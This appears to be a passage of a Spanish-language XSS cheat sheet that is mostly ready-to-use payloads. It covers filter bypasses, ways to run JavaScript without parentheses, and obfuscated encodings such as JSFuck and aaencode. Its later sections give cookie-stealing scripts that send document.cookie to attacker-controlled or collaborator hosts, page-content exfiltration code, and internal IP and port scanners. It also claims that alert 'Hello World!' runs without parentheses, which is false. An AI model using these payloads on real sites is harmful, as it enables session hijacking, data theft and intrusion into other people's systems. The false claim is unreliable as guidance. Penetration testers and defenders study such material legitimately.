//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript dentro de un comentario

A veces, los comentarios en el código HTML pueden ser una forma efectiva de ejecutar código Javascript. Si el servidor no filtra los comentarios, el código Javascript dentro de ellos se ejecutará en el navegador del usuario.

Para explotar esta vulnerabilidad, simplemente agregue el código Javascript dentro de un comentario en el código HTML y envíe el payload al servidor. Si el servidor no filtra los comentarios, el código se ejecutará en el navegador del usuario y se podrá realizar un ataque XSS.

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript sin paréntesis

En algunos casos, es posible ejecutar código JavaScript sin utilizar paréntesis. Esto se debe a que JavaScript intenta adivinar cuál es la intención del programador y, en algunos casos, puede inferir que se desea llamar a una función sin necesidad de utilizar paréntesis.

Por ejemplo, en lugar de escribir alert('Hello World!'), se puede escribir simplemente alert 'Hello World!'. JavaScript entenderá que se trata de una llamada a la función alert y ejecutará el código correctamente.

Sin embargo, esta técnica no siempre funciona y puede llevar a errores difíciles de depurar. Por lo tanto, se recomienda utilizar paréntesis siempre que sea posible para evitar confusiones y errores.

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
  // or any DOMXSS sink such as location=name

// Backtips
  // Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

  // To pass several arguments you can use
function btt(){
    console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

  //It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

  // .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
  // This happened in the previous example
  // Change "this" value of call to "1,"
  // match anything with regex /./
  // call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

  // Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
  // Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
  // These operations are called when the object is used as a primitive
  // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
  // Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337"); 
  // Error handler + Comma separator
  // The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
  // optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
  // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Llamada arbitraria a una función (alerta)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie']) 
with(document)alert(cookie) 
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

Vulnerabilidades DOM

Hay código JS que está utilizando datos controlados por un atacante de manera insegura como location.href. Un atacante podría abusar de esto para ejecutar código JS arbitrario.
Debido a la extensión de la explicación de vulnerabilidades DOM se movió a esta página:

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Allí encontrará una explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas.
Además, no olvide que al final de la publicación mencionada puede encontrar una explicación sobre ataques de clobbering DOM.

Otros bypasses

Unicode normalizado

Podría verificar si los valores reflejados están siendo normalizados en Unicode en el servidor (o en el lado del cliente) y abusar de esta funcionalidad para evitar protecciones. Encuentre un ejemplo aquí.

Bypass de la bandera PHP FILTER_VALIDATE_EMAIL

"><svg/onload=confirm(1)>"@x.y

Bypass de Ruby-On-Rails

Debido a la asignación masiva de RoR, se insertan comillas en el HTML y luego se omite la restricción de comillas y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.
Por ejemplo, si envías el payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

La pareja "Key","Value" será devuelta así:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Luego, se insertará el atributo onfocus:

Esto provocará un XSS.

Combinaciones especiales

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">

XSS con inyección de cabecera en una respuesta 302

Si descubres que puedes inyectar cabeceras en una respuesta de redirección 302, podrías intentar hacer que el navegador ejecute JavaScript arbitrario. Esto no es trivial ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que solo una carga útil de scripting entre sitios es inútil.

En este informe y este otro puedes leer cómo puedes probar varios protocolos dentro de la cabecera Location y ver si alguno de ellos permite al navegador inspeccionar y ejecutar la carga útil de XSS dentro del cuerpo.
Protocolos conocidos: mailto://, //x:1/, ws://, wss://, cabecera Location vacía, resource://.

Solo letras, números y puntos

Si puedes indicar la llamada de retorno que el javascript va a ejecutar limitado a esos caracteres. Lee esta sección de esta publicación para encontrar cómo abusar de este comportamiento.

Tipos de contenido <script> válidos para XSS

(De aquí) Si intentas cargar un script con un tipo de contenido como application/octet-stream, Chrome lanzará el siguiente error:

Refused to execute script from https://uploader.c.hc.lc/uploads/xxx' because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.

Los únicos tipos de contenido que admitirán que Chrome ejecute un script cargado son los que se encuentran dentro de la constante kSupportedJavascriptTypes de https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

const char* const kSupportedJavascriptTypes[] = {
    "application/ecmascript",
    "application/javascript",
    "application/x-ecmascript",
    "application/x-javascript",
    "text/ecmascript",
    "text/javascript",
    "text/javascript1.0",
    "text/javascript1.1",
    "text/javascript1.2",
    "text/javascript1.3",
    "text/javascript1.4",
    "text/javascript1.5",
    "text/jscript",
    "text/livescript",
    "text/x-ecmascript",
    "text/x-javascript",
};

Tipos de Script para XSS

(De aquí) Entonces, ¿qué tipos se pueden indicar para cargar un script?

<script type="???"></script>
  • módulo (por defecto, nada que explicar)
  • ****webbundle: Web Bundles es una característica que permite empaquetar un conjunto de datos (HTML, CSS, JS...) en un archivo .wbn.
<script type="webbundle">
{
   "source": "https://example.com/dir/subresources.wbn",
   "resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • ****importmap: Permite mejorar la sintaxis de importación.
<script type="importmap">
{
  "imports": {
    "moment": "/node_modules/moment/src/moment.js",
    "lodash": "/node_modules/lodash-es/lodash.js"
  }
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>

Este comportamiento fue utilizado en este informe para remapear una biblioteca a eval y abusar de ella para desencadenar XSS.

  • ****speculationrules: Esta característica se utiliza principalmente para resolver algunos problemas causados por la pre-renderización. Funciona de la siguiente manera:
<script type="speculationrules">
{
  "prerender": [
    {"source": "list",
     "urls": ["/page/2"],
     "score": 0.5},
    {"source": "document",
     "if_href_matches": ["https://*.wikipedia.org/**"],
     "if_not_selector_matches": [".restricted-section *"],
     "score": 0.1}
  ]
}
</script>

Tipos de contenido web para XSS

(De aquí) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? no está en la lista, pero creo que lo vi en un CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

En otros navegadores se pueden utilizar otros Tipos de contenido para ejecutar JS arbitrario, compruébalo en: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

Tipo de contenido xml

Si la página devuelve un tipo de contenido text/xml, es posible indicar un espacio de nombres y ejecutar JS arbitrario:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Patrones de reemplazo especiales

Cuando se utiliza algo como "some {{template}} data".replace("{{template}}", <user_input>), el atacante podría usar patrones de reemplazo de cadena especiales para intentar evitar algunas protecciones: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Por ejemplo, en este artículo, se utilizó para escapar una cadena JSON dentro de un script y ejecutar código arbitrario.

Chrome Cache para XSS

XS Jails

Si solo tiene un conjunto limitado de caracteres para usar, consulte estas otras soluciones válidas para problemas de XSJail:

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
  // Just replace console.log(1) to the real code, the code we want to run is:
  //return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

  //Final solution
with(
  /with(String)
    with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
      with(mainModule)
        with(require(k))
          return(String(readFileSync(n)))
  /)
with(this)
  with(constructor)
    constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Ofuscación y Bypass Avanzado

//Katana
<script>([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()</script>
//JJencode 
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}

Cargas útiles comunes de XSS

Varios payloads en 1

{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}

Recuperar Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

{% hint style="info" %} Si la bandera HTTPOnly está establecida en la cookie, no podrás acceder a las cookies desde JavaScript. Pero aquí tienes algunas formas de saltarte esta protección si tienes suerte. {% endhint %}

Robar contenido de la página

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr  = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
    }
}
xhr.open('GET', url, true);
xhr.send(null);

Encontrar IPs internas

<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
  q.push(
  function(url){
    return function(){
        fetchUrl(url, wait);
    }
  }('http://192.168.0.'+i+':8080'));
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
  if(q.length) q.shift()();
}

function fetchUrl(url, wait){
    console.log(url)
  var controller = new AbortController(), signal = controller.signal;
  fetch(url, {signal}).then(r=>r.text().then(text=>
    {
        location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
    }
  ))
  .catch(e => {
  if(!String(e).includes("The user aborted a request") && q.length) {
    q.shift()();
  }
  });

  setTimeout(x=>{
  controller.abort();
  if(q.length) {
    q.shift()();
  }
  }, wait);
}
</script>

Escáner de puertos (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Escáner de puertos (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
    var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
    s.start = performance.now();
    s.port = ports[i];
    s.onerror = function() {
        console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
    };
    s.onopen = function() {
        console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
    };
}

Los tiempos cortos indican un puerto que responde. Los tiempos más largos indican que no hay respuesta.

Revisa la lista de puertos prohibidos en Chrome aquí y en Firefox aquí.

Cuadro para solicitar credenciales

